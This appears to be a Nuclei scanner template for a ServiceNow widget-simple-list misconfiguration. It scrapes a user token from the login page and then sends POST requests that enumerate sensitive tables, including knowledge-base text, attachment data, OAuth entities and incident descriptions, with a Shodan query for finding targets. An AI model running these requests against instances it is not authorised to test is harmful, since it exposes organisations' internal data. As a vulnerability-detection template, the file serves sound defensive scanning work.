88 lines
2.3 KiB
YAML
88 lines
2.3 KiB
YAML
id: servicenow-widget-misconfig
|
|
|
|
info:
|
|
name: ServiceNow Widget-Simple-List - Misconfiguration
|
|
author: DhiyaneshDk
|
|
severity: unknown
|
|
reference:
|
|
- https://github.com/bsysop/servicenow
|
|
- https://twitter.com/ConspiracyProof/status/1713270026046685272
|
|
- https://www.enumerated.ie/servicenow-data-exposure
|
|
classification:
|
|
cpe: cpe:2.3:a:servicenow:servicenow:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 54
|
|
vendor: servicenow
|
|
product: servicenow
|
|
shodan-query: title:"servicenow"
|
|
tags: servicenow,widget,misconfig
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@once
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
@once
|
|
GET /login.do HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /api/now/sp/widget/widget-simple-list?{{table_list}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json
|
|
X-UserToken: {{user-token}}
|
|
Content-Type: application/json
|
|
|
|
{}
|
|
|
|
payloads:
|
|
table_list:
|
|
- t=kb_knowledge&f=text
|
|
- t=cmdb_model&f=name
|
|
- t=cmn_department&f=app_name
|
|
- t=licensable_app&f=app_name
|
|
- t=alm_asset&f=display_name
|
|
- t=sys_attachment&f=file_name
|
|
- t=sys_attachment_doc&f=data
|
|
- t=oauth_entity&f=name
|
|
- t=cmn_cost_center&f=name
|
|
- t=cmdb_model&f=name
|
|
- t=sc_cat_item&f=name
|
|
- t=sn_admin_center_application&f-name
|
|
- t=cmn_company&f=name
|
|
- t=sys_email_attachment&f=email
|
|
- t=sys_email_attachment&f=attachment
|
|
- t=cmn_notif_device&f=email_address
|
|
- t=sys_portal_age&f=display_name
|
|
- t=incident&f=short_description
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"isValid":true'
|
|
- '"count":'
|
|
condition: and
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- '"display_value":"(.*)",'
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: user-token
|
|
group: 1
|
|
regex:
|
|
- var g_ck = '([0-9a-z]+)'
|
|
internal: true
|
|
|
|
- type: regex
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- '"count":([0-9]+),'
|
|
# digest: 4a0a00473045022100cafa12b221ba940ef0face480248bb34a56a6e0edf446d1003dbd7d2e3b71dcf02204e57eee625b3b4bd9f1abbd31a40baf932c46c1625b491942e1fda8f267d2828:922c64590222798bb761d5b6d8e72950 |